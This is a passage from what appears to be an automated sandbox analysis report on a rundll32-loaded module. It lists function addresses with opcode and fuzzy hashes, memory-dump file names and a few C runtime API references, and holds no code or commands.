Opcode ID: 9e9e6bf0e81641a272f4743261e6284539f01182d8cc0fb97d914fe99cf424e4
Instruction ID: 6f1f14353ccd3984d6ca08244832ebaff08af5b07bda18807ee3f1964fb6b33f
Opcode Fuzzy Hash: 9e9e6bf0e81641a272f4743261e6284539f01182d8cc0fb97d914fe99cf424e4
Instruction Fuzzy Hash: 5271A132B1AA46DAEB10DFA5E460AED23A1FB14788F484535DE6C4BBE9CF39D154C340

Function 00007FFDFB6A8CB0 Relevance: .2, Instructions: 186COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: fc0fbded290091fbf11483cbc05be5baa2bd52ca8b78a7aa55c8a5a3e7125f38
Instruction ID: 0041fee4576547a01ec60f4a0eb7633cab0e4b4d6c15409f81d8ded14d324be8
Opcode Fuzzy Hash: fc0fbded290091fbf11483cbc05be5baa2bd52ca8b78a7aa55c8a5a3e7125f38
Instruction Fuzzy Hash: A3718032706A5382EF649E19D4A1B796368FB44BD4F548636EE7E9F6E8CF38D4418300

Function 00007FFDFB65A720 Relevance: .2, Instructions: 172COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0dcbc8d614e116a404bd53e89efb27bd6475025076397d920c7c3d4496e9ce9e
Instruction ID: f21850252f9c3e3c4db551ecbaaf6174f508e4d0a5b46481a8eaca4808938e78
Opcode Fuzzy Hash: 0dcbc8d614e116a404bd53e89efb27bd6475025076397d920c7c3d4496e9ce9e
Instruction Fuzzy Hash: F1516BF7E142448BD348CF29E84061ABBE1F794B58F219429EF46D3B14E239EA56CF40

Function 00007FFDFB640540 Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7830e3bfe5c32f684c753d826a1ac1cceec22c082a91508d517e760d2f9231fb
Instruction ID: 2c0de51066cfb1c72c5271dc21b23b086eb7f8dd7a0541689c295a8d1020aecd
Opcode Fuzzy Hash: 7830e3bfe5c32f684c753d826a1ac1cceec22c082a91508d517e760d2f9231fb
Instruction Fuzzy Hash: 46519672B19A5682EB30CB15E560B6A7351FBC8784F544135DE9E4BBA8DF3CD541CB00

Function 00007FFDFB69EC04 Relevance: .1, Instructions: 138COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5d1c3a0ccb6cd29ade6edb59abc650c0a6808c7d2b219c7f99c84549879a4588
Instruction ID: 625107ff0c09fea7d71bb952f73000d30c277c720a289551fdeb12c74e7b2130
Opcode Fuzzy Hash: 5d1c3a0ccb6cd29ade6edb59abc650c0a6808c7d2b219c7f99c84549879a4588
Instruction Fuzzy Hash: 8B516E76B0A65382E7288E2881A463C37A0EB55F6CF154135EA7D5B7ECCF29EC49C740

Function 00007FFDFB69EFD8 Relevance: .1, Instructions: 138COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0ecb8b9979793c10852181b7fabf84e18f565fc6bcd5914c49afb4f525614f51
Instruction ID: 0c701884477f7282d8f331873c0d95379a05025bf74bc37fdf9805306b3e9055
Opcode Fuzzy Hash: 0ecb8b9979793c10852181b7fabf84e18f565fc6bcd5914c49afb4f525614f51
Instruction Fuzzy Hash: 0B517D76B1961282F7288E28C17463C27A0EB55B6CF160135CE695B7EDDB29FC82C780

Function 00007FFDFB69F3AC Relevance: .1, Instructions: 138COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fcedc787ec986353709fc35909a49ecf16803d76dcb5eece98490e57b010fe2e
Instruction ID: b64abcdbd83d86d49adb09416f8f7032e9c302103f43c99da05163bd8afe2da8
Opcode Fuzzy Hash: fcedc787ec986353709fc35909a49ecf16803d76dcb5eece98490e57b010fe2e
Instruction Fuzzy Hash: 3E51B233B1965282E7288E28C16463C2760EB54F6CF160135DE2D5B7EDCB29FC52C780

Function 00007FFDFB69EA1C Relevance: .1, Instructions: 137COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cfd04c994245f7ddbcd7f76f97a518f0278f28e14dbf669b74e7731daf84d719
Instruction ID: db3dcc90a8a97aa3198cfd7a57147009d6e5ff51e677096389c38906a0624926
Opcode Fuzzy Hash: cfd04c994245f7ddbcd7f76f97a518f0278f28e14dbf669b74e7731daf84d719
Instruction Fuzzy Hash: 97518C72B09652C2E72C8E28C1A4A3C37A0EB55B5CF154135EE5A5B7FDCB29EC45CB80

Function 00007FFDFB69EDF0 Relevance: .1, Instructions: 137COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b77d3247d9d0928b5b2b3972beca9ca147558898c5bc028c584cde905de60a67
Instruction ID: ee1c147bf057764c245daee7971d442eb145a3ae2200bbe83a4f5447f47bb7d9
Opcode Fuzzy Hash: b77d3247d9d0928b5b2b3972beca9ca147558898c5bc028c584cde905de60a67
Instruction Fuzzy Hash: 6A518177B0965282E7288F28C1A463C27A0EB54B5CF154135EE6D5BBEDCF29EC45C780

Function 00007FFDFB69F1C4 Relevance: .1, Instructions: 137COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f82cc8e9fa939a6e15f6f50ac999027841a1b8058c4037dc64bdabc6f7819a9a
Instruction ID: 924992c11ea825d5f5fddbb2c2249a6b94388041bc2e1d75ec7f94b385b99992
Opcode Fuzzy Hash: f82cc8e9fa939a6e15f6f50ac999027841a1b8058c4037dc64bdabc6f7819a9a
Instruction Fuzzy Hash: 7C519C7AB1A61282E7688E68D06477C27A0FB55B5CF264134CE191B7EDCF29FC42C780

Function 00007FFDFB662B58 Relevance: .1, Instructions: 133COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567a254704e10f6dd68a7fed4598a22d88dd831c12a43c28395db30b1de049dd
Instruction ID: 61301f6002bceb1e2184b210c5d6f70f275725612c27f4ef094c2d06a61be8c5
Opcode Fuzzy Hash: 567a254704e10f6dd68a7fed4598a22d88dd831c12a43c28395db30b1de049dd
Instruction Fuzzy Hash: B5514553648EE853D62E0B3DA5913E7E291EFD5309F11C315EFE127683E72EA248B610

Function 00007FFDFB6B195C Relevance: .1, Instructions: 126COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: 496241115f007caadf36786e34f08e1db7ffeac55445f129dc400d3a0d036c4f
Instruction ID: 15c31e178af762ba3f2ec923a30b4e090449946df9b4906445f1d8dd0b106048
Opcode Fuzzy Hash: 496241115f007caadf36786e34f08e1db7ffeac55445f129dc400d3a0d036c4f
Instruction Fuzzy Hash: E941C722725A5941EF04CF2AD934569B3A1BB48FD4B499037DE5D8BBACDF7CD1418700

Function 00007FFDFB65AC90 Relevance: .1, Instructions: 98COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ab363bd583308e3afcc04dacb72f134f600337e6b18fda02a70c40fdf4993701
Instruction ID: f4add19b4e2297419c8e9f96b3d3c37588d585669c3bf29c623f8b1a4f67326c
Opcode Fuzzy Hash: ab363bd583308e3afcc04dacb72f134f600337e6b18fda02a70c40fdf4993701
Instruction Fuzzy Hash: 6531827231824845FB5DDA60AA7F7D6E95AA38C3C0F49F137DE964E668EE3CC141CA00

Function 00007FFDFB652220 Relevance: .1, Instructions: 96COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f68a13bb7b0fd95eea679f872003a9f61f7be1bb73b29fde3422e9ceab9404ec
Instruction ID: eab0c35f227a93376d1177218da6ebf4e515ef3bf3f2b3f5db42ad59f4e976c9
Opcode Fuzzy Hash: f68a13bb7b0fd95eea679f872003a9f61f7be1bb73b29fde3422e9ceab9404ec
Instruction Fuzzy Hash: 2B311233718B8986DB108F2AE88069DBB55F795B98F485135DE8D47BA8CBB9D444CB00

Function 00007FFDFB62C4F0 Relevance: .1, Instructions: 86COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: abe541c261159a089e5beae4cb7c7abd78d96a9e4feda3a0af1a3ddc79040c14
Instruction ID: a0d39bf709c2c99acdb36d30b770d6974472612965dffdbc58e6e8baf3f042cc
Opcode Fuzzy Hash: abe541c261159a089e5beae4cb7c7abd78d96a9e4feda3a0af1a3ddc79040c14
Instruction Fuzzy Hash: 9F219D62F35AB302EF12873A8814E509A419FA33C0B15E322FD2436DD9F71BD2918740

Function 00007FFDFB666880 Relevance: .1, Instructions: 82COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dbbc92242a4d474db6f3cb323daf7c4fecd07180cdbf955b5cb3b96bb3112c2c
Instruction ID: 105ea5990643c317ad1d55634b0fd18a8f664a8e1286c4ee6509bab7c1d69c4f
Opcode Fuzzy Hash: dbbc92242a4d474db6f3cb323daf7c4fecd07180cdbf955b5cb3b96bb3112c2c
Instruction Fuzzy Hash: 3641B1B7A14741CBD751CF34D091AAAB7B0FB19B48B19C622DB18DB268EB38E145CB50

Function 00007FFDFB611300 Relevance: .1, Instructions: 80COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 356ba2c08744f3fc9d9b462bbaa76e8ffb812f166062c14b549d66e8ed437cf2
Instruction ID: 211d75688d5768769aae2bd141aa4992a1bdacc6b5c7b4515524d0ce45a41531
Opcode Fuzzy Hash: 356ba2c08744f3fc9d9b462bbaa76e8ffb812f166062c14b549d66e8ed437cf2
Instruction Fuzzy Hash: 22316B46B20625C9F300EFB294504FE36B1FF16709700A12AEE59ABAA8F77C5615836D

Function 00007FFDFB662DD8 Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9a6cf7086033877038e98547aab7e423bf7c8cca03c2a5b6a100fcbf2f159150
Instruction ID: 518c883e2daf3b9a4ebb4be647ebdac117c88d05f277f4e4beb0da6437dff5d2
Opcode Fuzzy Hash: 9a6cf7086033877038e98547aab7e423bf7c8cca03c2a5b6a100fcbf2f159150
Instruction Fuzzy Hash: 14310C53D16A9852E7136B3D530B3B7D3A2BBD43A9F318341DBC562A46EB3D6348A210

Function 00007FFDFB61FFF0 Relevance: 19.6, APIs: 6, Strings: 5, Instructions: 346COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FFDFB6204EA
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FFDFB6204F6
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FFDFB6204FC
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FFDFB620502
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FFDFB620508
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FFDFB62050E

